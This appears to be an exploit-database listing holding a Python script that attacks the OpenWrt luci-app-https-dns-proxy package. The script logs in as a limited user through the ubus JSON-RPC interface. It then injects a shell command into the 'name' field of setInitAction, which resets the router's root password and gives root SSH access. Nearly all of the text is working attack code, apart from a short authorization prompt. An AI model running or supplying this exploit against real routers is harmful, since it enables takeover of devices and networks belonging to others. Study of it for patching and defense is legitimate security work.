Share
## https://sploitus.com/exploit?id=PACKETSTORM:220377
# Exploit Title: OpenWrt 23.05 - Authenticated Remote Code Execution (RCE)
    # Date: 2026-01-17
    # Exploit Author: Ahmet Mersin
    # Vendor Homepage: https://github.com/stangri/luci-app-https-dns-proxy
    # Software Link: https://github.com/stangri/luci-app-https-dns-proxy
    # Version: All versions prior to 2026-01-17
    # Tested on: OpenWrt 23.05
    # CVE : Pending
    
    """
    OpenWrt luci-app-https-dns-proxy Root Takeover Exploit
    CVE-202X-XXXXX - Local Privilege Escalation via Command Injection
    
    
    import requests
    import sys
    import getpass
    
    def banner():
        print("""
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘   OpenWrt https-dns-proxy Root Takeover Exploit               โ•‘
    โ•‘   CVE-202X-XXXXX | Privilege Escalation via Command Injection โ•‘
    โ•‘                                                               โ•‘
    โ•‘   Developed by: ahmetmersin.com                               โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
        """)
    
    def get_user_input():
        print("[*] Target Router Information:")
        target_ip = input("    Router IP [192.168.1.1]: ").strip() or "192.168.1.1"
        
        print("\n[*] Limited User Credentials (user with https-dns-proxy ACL):")
        username = input("    Username: ").strip()
        if not username:
            print("[-] Username cannot be empty!")
            sys.exit(1)
        password = getpass.getpass("    Password: ")
        if not password:
            print("[-] Password cannot be empty!")
            sys.exit(1)
        
        print("\n[*] New Root Password:")
        new_root_pass = getpass.getpass("    Enter new root password: ")
        if not new_root_pass:
            print("[-] Password cannot be empty!")
            sys.exit(1)
        
        confirm_pass = getpass.getpass("    Confirm new root password: ")
        
        if new_root_pass != confirm_pass:
            print("\n[-] Passwords do not match!")
            sys.exit(1)
        
        return target_ip, username, password, new_root_pass
    
    def login(target_ip, username, password):
        print(f"\n[*] Authenticating as '{username}'...")
        endpoint = f"http://{target_ip}/ubus"
        
        payload = {
            "jsonrpc": "2.0", "id": 1, "method": "call",
            "params": [
                "00000000000000000000000000000000", 
                "session", "login", 
                {"username": username, "password": password}
            ]
        }
        
        try:
            r = requests.post(endpoint, json=payload, timeout=10)
            response = r.json()
            
            if "result" in response and response["result"] and len(response["result"]) > 1:
                result = response["result"][1]
                if "ubus_rpc_session" in result:
                    token = result["ubus_rpc_session"]
                    print(f"[+] Login successful! Session token: {token[:16]}...")
                    
                    # Check if user has the vulnerable permission
                    acls = result.get("acls", {}).get("ubus", {})
                    if "luci.https-dns-proxy" in acls:
                        if "setInitAction" in acls["luci.https-dns-proxy"]:
                            print(f"[+] User has access to vulnerable function!")
                            return token, endpoint
                    
                    print("[-] User does not have 'setInitAction' permission!")
                    return None, None
            
            print(f"[-] Login failed: {response}")
            return None, None
            
        except requests.exceptions.ConnectionError:
            print(f"[-] Connection error: Cannot reach {target_ip}")
            return None, None
        except Exception as e:
            print(f"[-] Error: {e}")
            return None, None
    
    def change_root_password(endpoint, session_id, new_password):
        print(f"\n[*] Changing root password...")
        
        # Payload: Use passwd with printf to change root password
        malicious_name = f"x; printf '{new_password}\\n{new_password}\\n' | passwd root; echo done >"
        
        payload = {
            "jsonrpc": "2.0", "id": 666, "method": "call",
            "params": [
                session_id,
                "luci.https-dns-proxy",
                "setInitAction",
                {"name": malicious_name, "action": "start"}
            ]
        }
        
        try:
            r = requests.post(endpoint, json=payload, timeout=10)
            response = r.json()
            
            print(f"[*] Response: {response}")
            
            # Check if result is True (command executed successfully)
            if "result" in response and len(response["result"]) > 1:
                result_data = response["result"][1]
                if isinstance(result_data, dict) and result_data.get("result") == True:
                    print(f"\n" + "="*60)
                    print(f"[+] EXPLOIT SUCCESSFUL!")
                    print(f"="*60)
                    ip = endpoint.split('//')[1].split('/')[0]
                    print(f"\n[*] You can now login with the new root password:")
                    print(f"    ssh root@{ip}")
                    print(f"    Password: <your new password>")
                    return True
                else:
                    print(f"\n" + "="*60)
                    print(f"[-] EXPLOIT FAILED - Command was blocked!")
                    print(f"="*60)
                    print(f"\n[!] The target may have been patched.")
                    return False
            else:
                print(f"[-] Unexpected response format")
                return False
                
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def main():
        banner()
        
        print("[!] WARNING: This tool is for authorized security testing only!")
        print("[!] Unauthorized access to computer systems is illegal.\n")
        
        confirm = input("Do you have permission to test this target? [y/N]: ").strip().lower()
        if confirm != 'y':
            print("Aborted.")
            sys.exit(0)
        
        target_ip, username, password, new_root_pass = get_user_input()
        
        session_id, endpoint = login(target_ip, username, password)
        
        if session_id:
            success = change_root_password(endpoint, session_id, new_root_pass)
            if success:
                print("\n[+] Exploit completed! Test SSH access with the new password.")
        else:
            print("\n[-] Authentication failed. Exploit aborted.")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()